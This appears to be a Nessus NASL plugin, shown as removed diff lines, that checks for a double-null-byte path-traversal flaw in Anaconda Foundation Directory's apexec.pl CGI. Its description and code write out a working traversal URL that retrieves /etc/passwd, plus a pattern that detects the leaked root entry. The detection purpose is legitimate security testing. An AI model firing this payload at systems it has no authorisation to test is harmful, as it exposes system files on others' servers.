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- #
- # This script was written by Noam Rathaus
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(15749);
- script_version("$Revision: 1.1 $");
-
- name["english"] = "Anaconda Double NULL Encoded Remote File Retrieval";
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote Anaconda Foundation Directory contains a flaw
- that allows anyone to read arbitrary files with root (super-user)
- privileges, by embedding a double null byte in a URL, as in :
-
- http://www.example.com/cgi-bin/apexec.pl?etype=odp&template=../../../../../../..../../etc/passwd%%0000.html&passurl=/category/
-
- Solution : Contact your vendor for updated software.
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Anaconda Foundation Directory Double NULL Encoded Remote File Retrieval";
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2004 Noam Rathaus");
- family["english"] = "Remote file access";
- family["francais"] = "AccΦs aux fichiers distants";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
- include("http_func.inc");
- include("http_keepalive.inc");
-
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
-
- foreach dir (make_list("/cgi-local", cgi_dirs()))
- {
- item = string(dir,"/apexec.pl?etype=odp&template=../../../../../../../../../etc/passwd%%0000.html&passurl=/category/");
- buf = http_get(item:item, port:port);
- rep = http_keepalive_send_recv(port:port, data:buf);
- if( rep == NULL ) exit(0);
- if(egrep(pattern:".*root:.*:0:[01]:.*", string:rep))
- {
- security_hole(port);
- exit(0);
- }
- }
-